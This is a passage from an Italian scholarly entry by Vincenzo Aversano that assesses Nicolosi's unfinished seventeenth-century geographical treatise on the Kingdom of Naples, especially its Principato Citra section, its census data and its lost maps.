stesso Giardina, quali (ibidem): Le due operette (cioè la Descrizione dello Stato Ecclesiastico e quella del Regno di Napoli) constano delle carte dei due paesi e dei relativi libretti illustrativi; La scrittura del primo manoscritto (il 674!) non è del Nicolosi; I nomi delle varie province (del Regno di Napoli) vi sono scritte in italiano e in ispagnuolo; anche la Spinelli (1930, p. 352) insiste sull’indimostrato assunto del Savasta, cioè che dopo la prima edizione della carta, nel 1654, ...ne seguirono altre, essendone stati presentati degli esemplari ai posteriori Viceré, Conte di Castrilli (sic!), Conte di Pennaranda (sic!), Cardinale Pasquale d’Aragona. La stessa poi, accennando al duca di Medina, lo identifica senz’altro col Medina viceré di Napoli dal 1637 al 1644, senza neppure sfiorare il problema posto dal fatto che nel testo in questione é indicato un Medinaceli, che fu viceré dopo la morte di Nicolosi, come già ricordato. Ultimo in ordine di tempo, il Di Matteo (1977, p. 33) afferma anch’egli gratuitamente che il nostro geografo, eseguita la Descrizione, la stessa successivamente rielaborò per i viceré conte del Castrillo e conte di Pignoranda e per il cardinale d’Aragona. A ciò si é cercato di ovviare ricomponendo con paziente lavoro filologico sia la prima parte del Trattato sia la sezione riguardante il Principato Citra in un’edizione critica, che si spera abbia rispettato pienamente la volontà dell’autore, a cui mancò purtroppo il tempo, lo ripetiamo, per lasciarci l’opera compiuta e di limarla. Venendo alla sezione riguardante il Principato Citra, che appartiene alla seconda parte della Descrittione , essa consta essenzialmente dell’elenco dei centri maggiori e minori della Provincia e per ciascuno centro, sistemato alfabeticamente solo rispetto alla lettera iniziale (la serie dei centri che, pur iniziando con la lettere S, sono collocati dopo la lettera V, si trovano fuori elenco perché aggiunti nell’ultimo intervento), sono generalmente indicati latitudine e longitudine, il numero dei fuochi in rapporto ai censimenti del 1595 e del 1669, i dati riguardanti il feudo ed il feudatario nonché eventuali notizie circa la sede vescovile o la presenza di fortificazioni oppure di porti (risultano di particolare valore in rapporto all’epoca le indicazioni circa i porti di Punta degli Infreschi e di Palinuro e lo «scaro» di Vietri di Salerno). Promontori, golfi, fiumi, torri costiere e scogli vi sono, ovviamente, riportati con la sola indicazione delle coordinate geografiche. I dati di questa sezione confluivano con gli altri a formare il quadro complessivo delle notizie che dovevano servire come base e guida alla serie delle tavole geografiche riguardanti le province nonché ad una carta generale del Regno di Napoli, oltre ad alcune carte nautiche con particolare riferimento alle coste e alle isole del Mediterraneo meridionale. Vi sono fondati motivi per credere che qualcuna di queste carte fosse materialmente abbozzata, anche se, come il trattato, non ultimata. Infatti, una Carta del Regno di Napoli il Nicolosi aveva già disegnato nel 1654, ma essa non soddisfaceva la precisa richiesta del committente, che già da tempo precedente aveva espresso il desiderio che fossero realizzate 12 carte particolari delle altrettante province del Regno. Pertanto le successive aggiunte e rielaborazioni dell’originario testo del 1655 erano finalizzate a questa nuova fatica cartografica, per la quale il Geografo tenne a base sia quel primo lavoro, sia le «carte a stampa» di cui egli fa menzione nelle aggiunte del 1669. Sono appunto le indicazioni programmatiche contenute in quest’ultime aggiunte a darci la certezza che il complesso dell’opera cartografica (ivi compresa una nuova carta generale, materialmente presupposta, almeno nell’impianto fondamentale, dal paragrafo: Uso della Descrittione ... e dagli aggiornamenti portati dopo il 1655 alle coordinate geografiche di numerosi centri) per quanto avviata non era stata portata a termine. In merito alla loro eventuale esistenza, tuttavia, non è stato possibile accertare nulla, mentre un paio di schizzi rilegati nel manoscritto miscellaneo della Casanatense sono pressoché insignificanti. Si tratta di un semplice profilo a penna, in iscala ridottissima, delle due coste dell’Italia centrale e di una bozza a matita di una parte del tracciato della strada Taranto-Napoli. Tuttavia per quanto concerne il Principato Citra, sulla scorta delle coordinate geografiche fornite per moltissimi dei centri elencati é possibile ricostruire una carta del territorio che con una certa approssimazione può dare un’idea delle conoscenze cartografiche dell’epoca. È doveroso aggiungere che, grazie alla tenacia e al “fiuto” di un esperto, è possibile oggi avere la visione delle matrici di 3 fogli, quasi sicuramente appartenenti alla carta del Nicolosi del 1654, della quale non è giunto a noi alcun esemplare: «le matrici sono realizzate con il sistema della foratura da spillo; spolverando la matrice con polvere nera, i fori consentivano l’impressione dell’immagine su di un foglio sottostante» (VALERIO, 1993, p. 65). Questo autore ha identificato tali matrici nella sezione manoscritti e rari della Biblioteca di Napoli: si tratta di riproduzioni della terra di Bari e Basilicata, Capitanata e Principato Ultra, Abruzzo Citra e Contado di Molise. La proiezione usata è quella trapezoidale e la scala, «calcolata sulla dimensione del grado di meridiano, risulta di circa 1:360000» (VALERIO, 1993, p. 66, n. 104, nella quale si possono leggere altri particolari e la collocazione delle 3 carte). Se spetterà comunque ad altri studiosi il compito di valutare globalmente l’utilità del recupero e della ricomposizione di una parte di questa più che sconosciuta, ignorata opera del Nicolosi, possiamo intanto affermare in tutta tranquillità che la scrupolosa meticolosità del Geografo rende utilizzabili la maggior parte dei dati fornitici per una più esatta conoscenza di alcuni aspetti del Regno di Napoli nel Seicento e, per quanto ci riguarda, del Principato Citra in particolare; basti solo osservare che i suoi riporti statistici sono molto precisi, molto più corretti in ogni caso di quelli di un Giustiniani, i cui non infrequenti errori hanno inficiato e continuato ad inficiare i lavori di demografia storica. Il Nicolosi utilizza fonti di prima mano ed aggiornatissime (le aderenze che Nicolosi aveva presso la corte pontificia lo mettevano in grado di usufruire di moltissime informazioni dirette, in quanto qui facevano capo un gran numero di funzionari ecclesiastici e laici, che in ragione dei loro uffici avevano conoscenze approfondite delle regioni di provenienza), come si può constatare esaminando i dati relativi ai feudi ed ai feudatari del nostro Principato, per i quali spesso risolve spinosi problemi di successione, riportando a volte accanto al nome del barone del tempo anche quello di chi lo aveva preceduto. Certo, anche il nostro geografo non é immune da errori, materiali e di concetto, e qualcuno macroscopico, come quello di considerare Castellammare della Bruca, un centro tra l’altro pressoché disabitato in quel tempo, quale sede di vescovato; ma ciò era nel bagaglio di un’acritica tradizione di certi autori napoletani, quale un Enrico Bacco (1629), che nello stesso secolo e prima del Nicolosi affermava la stessa cosa. In proposito il Valerio ipotizza correttamente che il Bacco abbia desunto la sua opera da un noto volume del Sofia (1614), nato «come corredo scritto dell’Atlante delle province inciso dal Cartaro nel 1611» (Valerio, 1993, p. 67). Contrariamente all’idea di Spinelli, il nostro Autore non esprime grandi apprezzamenti sulle carte del Nicolosi, riconoscendo però che «l’unica aggiunta sostanziale, nei citati manoscritti è quella relativa alla numerazione dei fuochi del 1669» (Valerio, 1993, p. 67). Anche se, a riguardo del lavoro cartografico, è difficile contestare il giudizio del Valerio, sul piano dell’opera complessiva scritta il geografo siciliano mostra nella scelta delle fonti un’acribia veramente rara in un secolo in cui i più degli autori concedevano molto alle notizie più fantasiose. Infatti il Nostro non prende neppure in considerazione il cosiddetto censimento del 1658, giacché esso fu solo un aggiornamento di dati fiscali condotto in modo molto approssimativo sulla falsariga del vero e proprio censimento del 1595, e pertanto poco indicativo ai fini di una valutazione della situazione demografica del Regno dopo la peste del 1656. La precisa testimonianza del Nicolosi sulla realtà geografica dei suoi tempi, stringata e priva di orpelli campanilistici, può essere dunque con profitto utilizzata nella ricerca. Per fare un solo esempio di quante altre preziose indicazioni si possono raccogliere dalle pagine di questo trattato, cito la testimonianza sull’ubicazione di Paestum, che si allinea alle altre a dimostrare come anche in età moderna, come già nel corso del Medioevo, questa antica città greca, lungi dall’essere caduta nell’oblio degli uomini, continuò ad essere una concreta presenza monumentale fra gli acquitrini e le macchie della Piana del Sele. Per concludere, la ricchezza di dati, di osservazioni, di indicazioni spesso uniche per il secolo, spunti di viaggio, annotazioni sul modo di procedere nell’aggiornamento delle carte geografiche, fanno di questo trattato, al di là della sua compiutezza, un testo non solo di gradevole lettura ma anche degno di essere recuperato all’attenzione degli studiosi.

Autore della scheda: Vincenzo Aversano